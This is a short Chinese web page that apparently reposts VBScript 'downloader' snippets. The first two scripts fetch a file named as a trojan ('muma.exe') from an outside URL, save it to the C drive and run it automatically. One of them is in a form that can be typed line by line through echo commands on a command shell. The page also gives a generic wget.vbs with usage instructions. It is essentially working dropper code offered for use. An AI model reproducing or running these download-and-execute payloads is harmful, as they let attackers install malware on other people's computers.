• 企业400电话
  • 微网小程序
  • AI电话机器人
  • 电商代运营
  • 全 部 栏 目

    企业400电话 网络优化推广 AI电话机器人 呼叫中心 网站建设 商标✡知产 微网小程序 电商运营 彩铃•短信 增值拓展业务
    VBS下载者(通过vbscript实现文件下载)

    一、VBS下载者:

    复制代码 代码如下:

    Set Post = CreateObject("Msxml2.XMLHTTP")
    Set Shell = CreateObject("Wscript.Shell")
    Post.Open "GET","http://www.jbzj.com/muma.exe",0
    Post.Send()
    Set aGet = CreateObject("ADODB.Stream")
    aGet.Mode = 3
    aGet.Type = 1
    aGet.Open()
    aGet.Write(Post.responseBody)
    aGet.SaveToFile "c:\zl.exe",2
    wscript.sleep 1000
    Shell.Run ("c:\zl.exe") '延迟过后执行下载文件

    二、cmd下执行的版本:

    复制代码 代码如下:

    echo Set Post = CreateObject("Msxml2.XMLHTTP") >>zl.vbs
    echo Set Shell = CreateObject("Wscript.Shell") >>zl.vbs
    echo Post.Open "GET","http://www.jbzj.com/muma.exe",0 >>zl.vbs
    echo Post.Send() >>zl.vbs
    echo Set aGet = CreateObject("ADODB.Stream") >>zl.vbs
    echo aGet.Mode = 3 >>zl.vbs
    echo aGet.Type = 1 >>zl.vbs
    echo aGet.Open() >>zl.vbs
    echo aGet.Write(Post.responseBody) >>zl.vbs
    echo aGet.SaveToFile "c:\zl.exe",2 >>zl.vbs
    echo wscript.sleep 1000 >>zl.vbs
    echo Shell.Run ("c:\zl.exe") >>zl.vbs

    三、wget.vbs

    复制代码 代码如下:

    on error resume next
    iLocal=LCase(Wscript.Arguments(1))
    iRemote=LCase(Wscript.Arguments(0))
    iUser=LCase(Wscript.Arguments(2))
    iPass=LCase(Wscript.Arguments(3))
    set xPost=CreateObject("Microsoft.XMLHTTP")
    if iUser="" and iPass="" then
    xPost.Open "GET",iRemote,0
    else
    xPost.Open "GET",iRemote,0,iUser,iPass
    end if
    xPost.Send()
    set sGet=CreateObject("ADODB.Stream")
    sGet.Mode=3
    sGet.Type=1
    sGet.Open()
    sGet.Write xPost.ResponseBody
    sGet.SaveToFile iLocal,2

    使用方法:cscript wget.vbs http://www.jbzj.com/muma.exe

    您可能感兴趣的文章:
    • 支持断点下载的VBS代码
    • vbs 多线程下载实现代码
    • VBS下载文件的新方法
    • VBS 下载方法(CDO.MESSAGE)
    • 使用vbs下载文件的代码加强版
    • 一个收集的下载木马并运行的VBS代码
    • 用ASP VBS xmlhttp adodbstream下载和保存图片的代码
    • 下载文件到本地运行的vbs
    上一篇:vbs 定时删除功能实现代码
    下一篇:Wscript 和 Cscript 运行脚本的区别详解
  • 相关文章
  • 

    © 2016-2020 巨人网络通讯 版权所有

    《增值电信业务经营许可证》 苏ICP备15040257号-8

    VBS下载者(通过vbscript实现文件下载) VBS,下载,者,通过,vbscript,